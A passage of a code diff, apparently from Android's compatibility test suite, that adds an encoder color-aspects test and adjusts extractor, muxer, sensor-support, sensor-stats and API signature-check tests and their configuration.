+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * Validate ColorAspects configuration for listed encoder components
+ */
+@RunWith(Parameterized.class)
+public class EncoderColorAspectsTest extends CodecEncoderTestBase {
+    private static final String LOG_TAG = EncoderColorAspectsTest.class.getSimpleName();
+    private static final int UNSPECIFIED = 0;
+
+    private int mRange;
+    private int mStandard;
+    private int mTransferCurve;
+    private MediaFormat mConfigFormat;
+
+    private MediaMuxer mMuxer;
+    private int mTrackID = -1;
+
+    private ArrayList<MediaCodec.BufferInfo> mInfoList = new ArrayList<>();
+
+    private ArrayList<String> mCheckESList = new ArrayList<>();
+
+    public EncoderColorAspectsTest(String mime, int width, int height, int range, int standard,
+            int transferCurve) {
+        super(mime);
+        mRange = range;
+        mStandard = standard;
+        mTransferCurve = transferCurve;
+        mConfigFormat = new MediaFormat();
+        mConfigFormat.setString(MediaFormat.KEY_MIME, mMime);
+        mConfigFormat.setInteger(MediaFormat.KEY_BIT_RATE, 64000);
+        mWidth = width;
+        mHeight = height;
+        mConfigFormat.setInteger(MediaFormat.KEY_WIDTH, mWidth);
+        mConfigFormat.setInteger(MediaFormat.KEY_HEIGHT, mHeight);
+        mConfigFormat.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+        mConfigFormat.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+        mConfigFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+        if (mRange >= 0) mConfigFormat.setInteger(MediaFormat.KEY_COLOR_RANGE, mRange);
+        else mRange = 0;
+        if (mStandard >= 0) mConfigFormat.setInteger(MediaFormat.KEY_COLOR_STANDARD, mStandard);
+        else mStandard = 0;
+        if (mTransferCurve >= 0)
+            mConfigFormat.setInteger(MediaFormat.KEY_COLOR_TRANSFER, mTransferCurve);
+        else mTransferCurve = 0;
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+    }
+
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if (info.size > 0) {
+            ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
+            if (mMuxer != null) {
+                if (mTrackID == -1) {
+                    mTrackID = mMuxer.addTrack(mCodec.getOutputFormat());
+                    mMuxer.start();
+                }
+                mMuxer.writeSampleData(mTrackID, buf, info);
+            }
+            MediaCodec.BufferInfo copy = new MediaCodec.BufferInfo();
+            copy.set(mOutputBuff.getOutStreamSize(), info.size, info.presentationTimeUs,
+                    info.flags);
+            mInfoList.add(copy);
+        }
+        super.dequeueOutput(bufferIndex, info);
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}{3}{4}{5})")
+    public static Collection<Object[]> input() {
+        ArrayList<String> testMimeList = new ArrayList<>();
+        testMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        testMimeList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+        testMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8);
+        testMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
+        ArrayList<String> mimes = new ArrayList<>();
+        if (CodecTestBase.codecSelKeys.contains(CodecTestBase.CODEC_SEL_VALUE)) {
+            MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+            MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+            for (MediaCodecInfo codecInfo : codecInfos) {
+                if (!codecInfo.isEncoder()) continue;
+                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q && codecInfo.isAlias()) continue;
+                String[] types = codecInfo.getSupportedTypes();
+                for (String type : types) {
+                    if (testMimeList.contains(type) && !mimes.contains(type)) {
+                        mimes.add(type);
+                    }
+                }
+            }
+        }
+        int[] ranges =
+                {-1, UNSPECIFIED, MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_RANGE_LIMITED};
+        int[] standards =
+                {-1, UNSPECIFIED, MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_STANDARD_BT601_PAL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC, MediaFormat.COLOR_STANDARD_BT2020};
+        int[] transfers =
+                {-1, UNSPECIFIED, MediaFormat.COLOR_TRANSFER_LINEAR, MediaFormat.COLOR_TRANSFER_SDR_VIDEO};
+        // TODO: COLOR_TRANSFER_ST2084, COLOR_TRANSFER_HLG are for 10 bit and above. Should these
+        //  be tested as well?
+        List<Object[]> exhaustiveArgsList = new ArrayList<>();
+        // Assumes all combinations are supported by the standard
+        for (String mime : mimes) {
+            for (int range : ranges) {
+                for (int standard : standards) {
+                    for (int transfer : transfers) {
+                        exhaustiveArgsList
+                                .add(new Object[]{mime, 176, 144, range, standard, transfer});
+                    }
+                }
+            }
+        }
+        return exhaustiveArgsList;
+    }
+
+    @SmallTest
+    @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
+    public void testColorAspects() throws IOException, InterruptedException {
+        ArrayList<String> listOfEncoders = selectCodecs(mMime, null, null, true);
+        assertFalse("no suitable codecs found for mime: " + mMime, listOfEncoders.isEmpty());
+        setUpSource(mInputFile);
+        mSaveToMem = true;
+        mOutputBuff = new OutputManager();
+        for (String encoder : listOfEncoders) {
+            mCodec = MediaCodec.createByCodecName(encoder);
+            mOutputBuff.reset();
+            mInfoList.clear();
+            /* TODO(b/157523045) */
+            if (mRange <= UNSPECIFIED || mStandard <= UNSPECIFIED ||
+                    mTransferCurve <= UNSPECIFIED) {
+                Log.d(LOG_TAG, "test skipped due to b/157523045");
+                mCodec.release();
+                continue;
+            }
+            /* TODO(b/156571486) */
+            if (encoder.equals("c2.android.hevc.encoder") ||
+                    encoder.equals("c2.android.avc.encoder")) {
+                Log.d(LOG_TAG, "test skipped due to b/156571486");
+                mCodec.release();
+                continue;
+            }
+            String log = String.format("format: %s \n codec: %s:: ", mConfigFormat, encoder);
+            File tmpFile;
+            int muxerFormat;
+            if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP8) ||
+                    mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+                muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM;
+                tmpFile = File.createTempFile("tmp", ".webm");
+            } else {
+                muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4;
+                tmpFile = File.createTempFile("tmp", ".mp4");
+            }
+            mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat);
+            configureCodec(mConfigFormat, true, true, true);
+            mCodec.start();
+            doWork(4);
+            queueEOS();
+            waitForAllOutputs();
+            if (mTrackID != -1) {
+                mMuxer.stop();
+                mTrackID = -1;
+            }
+            if (mMuxer != null) {
+                mMuxer.release();
+                mMuxer = null;
+            }
+            assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError());
+            assertTrue(log + "no input sent", 0 != mInputCount);
+            assertTrue(log + "output received", 0 != mOutputCount);
+            // verify if the out fmt contains color aspects as expected
+            MediaFormat fmt = mCodec.getOutputFormat();
+            validateColorAspects(fmt, mRange, mStandard, mTransferCurve);
+            mCodec.stop();
+            mCodec.release();
+
+            // verify if the muxed file contains color aspects as expected
+            CodecDecoderTestBase cdtb = new CodecDecoderTestBase(mMime, null);
+            String parent = tmpFile.getParent();
+            if (parent != null) parent += File.separator;
+            else parent = "";
+            cdtb.validateColorAspects(null, parent, tmpFile.getName(), mRange, mStandard,
+                    mTransferCurve);
+
+            // if color metadata can also be signalled via elementary stream then verify if the
+            // elementary stream contains color aspects as expected
+            if (mCheckESList.contains(mMime)) {
+                fmt.removeKey(MediaFormat.KEY_COLOR_RANGE);
+                fmt.removeKey(MediaFormat.KEY_COLOR_STANDARD);
+                fmt.removeKey(MediaFormat.KEY_COLOR_TRANSFER);
+                cdtb.validateColorAspects(null, fmt, mOutputBuff.getBuffer(), mInfoList, mRange,
+                        mStandard, mTransferCurve);
+            }
+        }
+    }
+}
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index bbfa5aa..4b765ab 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -27,7 +27,6 @@
 import org.junit.runners.Parameterized;
 
 import java.io.IOException;
-import java.nio.ByteBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
@@ -84,7 +83,7 @@
         }
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 // Audio - CodecMime, bit-rate, sample rate, channel count
-                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 8000, 1, -1},
+                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 48000, 1, -1},
                 {MediaFormat.MIMETYPE_AUDIO_AAC, 128000, 48000, 2, -1},
 
                 // Video - CodecMime, bit-rate, height, width, frame-rate
diff --git a/tests/media/src/android/mediav2/cts/ExtractorTest.java b/tests/media/src/android/mediav2/cts/ExtractorTest.java
index a5c0eb9..cbfc9c6 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorTest.java
@@ -197,23 +197,19 @@
 
     static boolean isCSDIdentical(MediaFormat refFormat, MediaFormat testFormat) {
         String mime = refFormat.getString(MediaFormat.KEY_MIME);
-        /* TODO(b/154177490) */
-        if (mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
-                mime.equals(MediaFormat.MIMETYPE_VIDEO_AV1)) {
-            return true;
-        }
         for (int i = 0; ; i++) {
             String csdKey = "csd-" + i;
             boolean refHasCSD = refFormat.containsKey(csdKey);
             boolean testHasCSD = testFormat.containsKey(csdKey);
             if (refHasCSD != testHasCSD) {
                 if (ENABLE_LOGS) {
-                    Log.w(LOG_TAG, "error, ref fmt has CSD: " + refHasCSD + "test fmt has CSD: " +
+                    Log.w(LOG_TAG, "error, ref fmt has CSD: " + refHasCSD + " test fmt has CSD: " +
                             testHasCSD);
                 }
                 return false;
             }
             if (refHasCSD) {
+                Log.v(LOG_TAG, mime + " has " + csdKey);
                 ByteBuffer r = refFormat.getByteBuffer(csdKey);
                 ByteBuffer t = testFormat.getByteBuffer(csdKey);
                 if (!r.equals(t)) {
@@ -327,7 +323,7 @@
                     }
                     if (!testBuffer.equals(refBuffer)) {
                         if (ENABLE_LOGS) {
-                            Log.d(LOG_TAG, "Mime: " + refMime + "sample data is not identical");
+                            Log.d(LOG_TAG, "Mime: " + refMime + " sample data is not identical");
                         }
                         areTracksIdentical = false;
                         break;
@@ -626,20 +622,16 @@
 
         @Parameterized.Parameters(name = "{index}({0})")
         public static Collection<Object[]> input() {
-            /* TODO: add ts files for MPEG2, AVC and AAC. These parameters are used by seek tests
-                 as well. Would it make sense to add ts files to this list */
-            /* TODO: add .flac, .midi, .wav, .aac-adts to the list */
+            /* TODO(b/157108639) - add missing test files */
             return Arrays.asList(new Object[][]{
                     {MediaFormat.MIMETYPE_VIDEO_MPEG2, new String[]{
                             "bbb_cif_768kbps_30fps_mpeg2_stereo_48kHz_192kbps_mp3.mp4",
                             "bbb_cif_768kbps_30fps_mpeg2.mkv",}},
                     {MediaFormat.MIMETYPE_VIDEO_H263, new String[]{
                             "bbb_cif_768kbps_30fps_h263.mp4",
-                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp",
-                            "bbb_cif_768kbps_30fps_h263_stereo_48kHz_192kbps_flac.mkv",}},
+                            "bbb_cif_768kbps_30fps_h263_mono_8kHz_12kbps_amrnb.3gp",}},
                     {MediaFormat.MIMETYPE_VIDEO_MPEG4, new String[]{
                             "bbb_cif_768kbps_30fps_mpeg4_stereo_48kHz_192kbps_flac.mp4",
-                            "bbb_cif_768kbps_30fps_mpeg4.mkv",
                             "bbb_cif_768kbps_30fps_mpeg4_mono_16kHz_20kbps_amrwb.3gp",}},
                     {MediaFormat.MIMETYPE_VIDEO_AVC, new String[]{
                             "bbb_cif_768kbps_30fps_avc_stereo_48kHz_192kbps_vorbis.mp4",
@@ -872,10 +864,10 @@
         public void testExtract() throws IOException {
             assumeTrue(shouldRunTest(mMime));
             assertTrue(mSrcFiles.length > 1);
-            assumeTrue("TODO(b/146925481)", mMime == MediaFormat.MIMETYPE_VIDEO_VP8 ||
-                    mMime == MediaFormat.MIMETYPE_VIDEO_VP9 ||
-                    mMime == MediaFormat.MIMETYPE_VIDEO_AV1 ||
-                    mMime == MediaFormat.MIMETYPE_AUDIO_FLAC);
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             MediaExtractor refExtractor = new MediaExtractor();
             refExtractor.setDataSource(mInpPrefix + mSrcFiles[0]);
             boolean isOk = true;
@@ -964,8 +956,9 @@
         @Test
         public void testSeekToZero() throws IOException {
             assumeTrue(shouldRunTest(mMime));
-            assumeTrue("TODO(b/146925481)", mMime != MediaFormat.MIMETYPE_AUDIO_MPEG &&
-                    mMime != MediaFormat.MIMETYPE_AUDIO_AAC);
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             boolean isOk = true;
             for (String srcFile : mSrcFiles) {
                 MediaExtractor extractor = new MediaExtractor();
@@ -1047,10 +1040,10 @@
         public void testExtractNative() {
             assumeTrue(shouldRunTest(mMime));
             assertTrue(mSrcFiles.length > 1);
-            assumeTrue("TODO(b/146925481)", mMime == MediaFormat.MIMETYPE_VIDEO_VP8 ||
-                    mMime == MediaFormat.MIMETYPE_VIDEO_VP9 ||
-                    mMime == MediaFormat.MIMETYPE_VIDEO_AV1 ||
-                    mMime == MediaFormat.MIMETYPE_AUDIO_FLAC);
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_OPUS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             boolean isOk = true;
             for (int i = 1; i < mSrcFiles.length; i++) {
                 if (!nativeTestExtract(mInpPrefix + mSrcFiles[0], mInpPrefix + mSrcFiles[i],
@@ -1103,8 +1096,9 @@
         @Test
         public void testSeekToZeroNative() {
             assumeTrue(shouldRunTest(mMime));
-            assumeTrue("TODO(b/146925481)", mMime != MediaFormat.MIMETYPE_AUDIO_MPEG &&
-                    mMime != MediaFormat.MIMETYPE_AUDIO_AAC);
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_MPEG));
+            assumeTrue("TODO(b/146925481)", !mMime.equals(MediaFormat.MIMETYPE_AUDIO_AAC));
             boolean isOk = true;
             for (String srcFile : mSrcFiles) {
                 if (!nativeTestSeekToZero(mInpPrefix + srcFile, mMime)) {
diff --git a/tests/media/src/android/mediav2/cts/MuxerTest.java b/tests/media/src/android/mediav2/cts/MuxerTest.java
index e57b1ee..0ca67f2 100644
--- a/tests/media/src/android/mediav2/cts/MuxerTest.java
+++ b/tests/media/src/android/mediav2/cts/MuxerTest.java
@@ -292,6 +292,8 @@
                     if (!ExtractorTest.isCSDIdentical(thisFormat, thatFormat)) continue;
                     if (mBufferInfo.get(i).size() == that.mBufferInfo.get(j).size()) {
                         long tolerance = thisMime.startsWith("video/") ? STTS_TOLERANCE_US : 0;
+                        // TODO(b/157008437) - muxed file pts is +1us of target pts
+                        tolerance += 1; // rounding error
                         int k = 0;
                         for (; k < mBufferInfo.get(i).size(); k++) {
                             MediaCodec.BufferInfo thisInfo = mBufferInfo.get(i).get(k);
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 581e9ad..a5e635c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-1.2/");
         }
     }
 }
\ No newline at end of file
diff --git a/tests/rollback/AndroidManifest.xml b/tests/rollback/AndroidManifest.xml
index ab1ec0f..3203f25 100644
--- a/tests/rollback/AndroidManifest.xml
+++ b/tests/rollback/AndroidManifest.xml
@@ -18,7 +18,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.rollback" >
 
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application>
         <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index 35d48df..2cab0c9 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -24,14 +24,14 @@
 import android.hardware.SensorManager;
 import android.os.Build;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
 
 /**
- * Checks if Hifi sensors  or VR High performance mode sensors
- * are supported. When supported, checks individual support for
- * Accelerometer, Gyroscope, Gyroscope_uncal, GeoMagneticField,
- * MagneticField_uncal Pressure, RotationVector,
- * SignificantMotion, StepDetector, StepCounter, TiltDetector.
+ * Checks if required sensor types are present, for example sensors required
+ * when Hifi sensors or VR High performance mode features are enabled. Also
+ * checks that required composite sensor types are present if the underlying
+ * physical sensors are present.
  *
  * <p>To execute these test cases, the following command can be used:</p>
  * <pre>
@@ -44,71 +44,103 @@
     private boolean mAreHifiSensorsSupported;
     private boolean mVrHighPerformanceModeSupported;
     private boolean mIsVrHeadset;
+    private boolean mHasAccel;
+    private boolean mHasGyro;
+    private boolean mHasMag;
 
     @Override
     public void setUp() {
         PackageManager pm = getContext().getPackageManager();
-        // Tests will only run if either HIFI_SENSORS or VR high performance mode is supported.
+        // Some tests will only run if either HIFI_SENSORS or VR high performance mode is supported.
         mAreHifiSensorsSupported = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
         mVrHighPerformanceModeSupported = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
         mIsVrHeadset = (getContext().getResources().getConfiguration().uiMode
             & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_VR_HEADSET;
-        if (mAreHifiSensorsSupported || mVrHighPerformanceModeSupported) {
-            mSensorManager =
-                    (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
-        }
+        mSensorManager =
+                (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
+
+        mHasAccel = hasSensorType(Sensor.TYPE_ACCELEROMETER);
+        mHasGyro = hasSensorType(Sensor.TYPE_GYROSCOPE);
+        mHasMag = hasSensorType(Sensor.TYPE_MAGNETIC_FIELD);
     }
 
+    @CddTest(requirement="7.3.9/C-2-1")
     public void testSupportsAccelerometer() {
-        checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
+        checkHifiVrSensorSupport(Sensor.TYPE_ACCELEROMETER);
     }
 
+    @CddTest(requirement="7.3.9/C-2-2")
     public void testSupportsAccelerometerUncalibrated() {
         // Uncalibrated accelerometer was not required before Android O
         if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
-            checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+            checkHifiVrSensorSupport(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
         }
     }
 
+    @CddTest(requirement="7.3.9/C-2-3")
     public void testSupportsGyroscope() {
-        checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
+        checkHifiVrSensorSupport(Sensor.TYPE_GYROSCOPE);
     }
 
+    @CddTest(requirement="7.3.9/C-2-4")
     public void testSupportsGyroscopeUncalibrated() {
-        checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
+        checkHifiVrSensorSupport(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
     }
 
+    @CddTest(requirement="7.3.9/C-2-5")
     public void testSupportsGeoMagneticField() {
-        checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
+        checkHifiVrSensorSupport(Sensor.TYPE_MAGNETIC_FIELD);
     }
 
+    @CddTest(requirement="7.3.9/C-2-6")
     public void testSupportsMagneticFieldUncalibrated() {
-        checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
+        checkHifiVrSensorSupport(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
     }
 
+    @CddTest(requirement="7.3.9/C-2-7")
     public void testSupportsPressure() {
-        checkSupportsSensor(Sensor.TYPE_PRESSURE);
+        checkHifiVrSensorSupport(Sensor.TYPE_PRESSURE);
     }
 
-    public void testSupportsRotationVector() {
-        checkSupportsSensor(Sensor.TYPE_ROTATION_VECTOR);
+    @CddTest(requirement="7.3.9/C-2-8")
+    public void testSupportsGameRotationVector() {
+        checkHifiVrSensorSupport(Sensor.TYPE_GAME_ROTATION_VECTOR);
     }
 
+    @CddTest(requirement="7.3.9/C-2-9")
     public void testSupportsSignificantMotion() {
-        checkSupportsSensor(Sensor.TYPE_SIGNIFICANT_MOTION);
+        checkHifiVrSensorSupport(Sensor.TYPE_SIGNIFICANT_MOTION);
     }
 
+    @CddTest(requirement="7.3.9/C-2-10")
     public void testSupportsStepDetector() {
-        checkSupportsSensor(Sensor.TYPE_STEP_DETECTOR);
+        checkHifiVrSensorSupport(Sensor.TYPE_STEP_DETECTOR);
     }
 
+    @CddTest(requirement="7.3.9/C-2-11")
     public void testSupportsStepCounter() {
-        checkSupportsSensor(Sensor.TYPE_STEP_COUNTER);
+        checkHifiVrSensorSupport(Sensor.TYPE_STEP_COUNTER);
     }
 
+    @CddTest(requirement="7.3.9/C-2-12")
     public void testSupportsTiltDetector() {
         final int TYPE_TILT_DETECTOR = 22;
-        checkSupportsSensor(TYPE_TILT_DETECTOR);
+        checkHifiVrSensorSupport(TYPE_TILT_DETECTOR);
+    }
+
+    @CddTest(requirement="7.3.1/C-3-1")
+    public void testSupportsGravityAndLinearAccelIfHasAG() {
+        if (mHasAccel && mHasGyro) {
+            assertTrue(hasSensorType(Sensor.TYPE_GRAVITY));
+            assertTrue(hasSensorType(Sensor.TYPE_LINEAR_ACCELERATION));
+        }
+    }
+
+    @CddTest(requirement="7.3.1/C-4-1")
+    public void testSupportsRotationVectorIfHasAGM() {
+        if (mHasAccel && mHasGyro && mHasMag) {
+            assertTrue(hasSensorType(Sensor.TYPE_ROTATION_VECTOR));
+        }
     }
 
     private boolean sensorRequiredForVrHighPerformanceMode(int sensorType) {
@@ -124,7 +156,7 @@
         }
     }
 
-    private void checkSupportsSensor(int sensorType) {
+    private void checkHifiVrSensorSupport(int sensorType) {
         boolean isVrSensor = mVrHighPerformanceModeSupported &&
             sensorRequiredForVrHighPerformanceMode(sensorType);
         if (mAreHifiSensorsSupported || isVrSensor) {
@@ -135,4 +167,8 @@
             }
         }
     }
+
+    private boolean hasSensorType(int sensorType) {
+        return (mSensorManager != null && mSensorManager.getDefaultSensor(sensorType) != null);
+    }
 }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index 3ef2eef..c6b247b 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -40,6 +40,7 @@
  * together so that they form a tree.
  */
 public class SensorStats {
+    private static final String TAG = "SensorStats";
     public static final String DELIMITER = "__";
 
     public static final String ERROR = "error";
@@ -146,23 +147,39 @@
         }
     }
 
+    /* Checks if external storage is available for read and write */
+    private boolean isExternalStorageWritable() {
+        String state = Environment.getExternalStorageState();
+        return Environment.MEDIA_MOUNTED.equals(state);
+    }
+
     /**
      * Utility method to log the stats to a file. Will overwrite the file if it already exists.
      */
     public void logToFile(Context context, String fileName) throws IOException {
-        // Only log to file if currently not an Instant App since Instant Apps do not have access to
-        // external storage.
-        if (!context.getPackageManager().isInstantApp()) {
-            File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
-            File logFile = new File(statsDirectory, fileName);
-            final Map<String, Object> flattened = flatten();
-            FileWriter fileWriter = new FileWriter(logFile, false /* append */);
-            try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
-                for (String key : getSortedKeys(flattened)) {
-                    Object value = flattened.get(key);
-                    writer.write(String.format("%s: %s\n", key, getValueString(value)));
+        if (!isExternalStorageWritable()) {
+            Log.w(TAG,
+                "External storage unavailable, skipping log to file: " + fileName);
+            return;
+        }
+
+        try {
+            // Only log to file if currently not an Instant App since Instant Apps do not have access to
+            // external storage.
+            if (!context.getPackageManager().isInstantApp()) {
+                File statsDirectory = SensorCtsHelper.getSensorTestDataDirectory("stats/");
+                File logFile = new File(statsDirectory, fileName);
+                final Map<String, Object> flattened = flatten();
+                FileWriter fileWriter = new FileWriter(logFile, false /* append */);
+                try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
+                    for (String key : getSortedKeys(flattened)) {
+                        Object value = flattened.get(key);
+                        writer.write(String.format("%s: %s\n", key, getValueString(value)));
+                    }
                 }
             }
+        } catch(IOException e) {
+            Log.w(TAG, "Unable to write to file: " + fileName, e);
         }
     }
 
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
index 2b24bc1..31263b4 100644
--- a/tests/signature/api-check/android-test-base-28-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-28-api/Android.bp
@@ -18,7 +18,7 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-android-test-base-current-txt",
+        ":cts-android-test-base-current-api-gz",
     ],
     min_sdk_version: "27",
 
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
index ef43237..e048dc3 100644
--- a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
@@ -27,7 +27,7 @@
         <option name="package" value="android.signature.cts.api.android_test_base_28" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api28.test.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
index ead699b..8ef01a1 100644
--- a/tests/signature/api-check/android-test-base-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -18,7 +18,7 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-android-test-base-current-txt",
+        ":cts-android-test-base-current-api-gz",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index bbf942e..30da659 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -27,7 +27,7 @@
         <option name="package" value="android.signature.cts.api.android_test_base_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.test.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api.gz" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
index 9f3ccbf..44c7a8a 100644
--- a/tests/signature/api-check/android-test-mock-current-api/Android.bp
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -18,7 +18,7 @@
         "signature-api-check-defaults",
     ],
     java_resources: [
-        ":cts-android-test-mock-current-txt",
+        ":cts-android-test-mock-current-api-gz",
     ],
 
     use_embedded_native_libs: false,
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
index 19dbe7b..f8ab351 100644
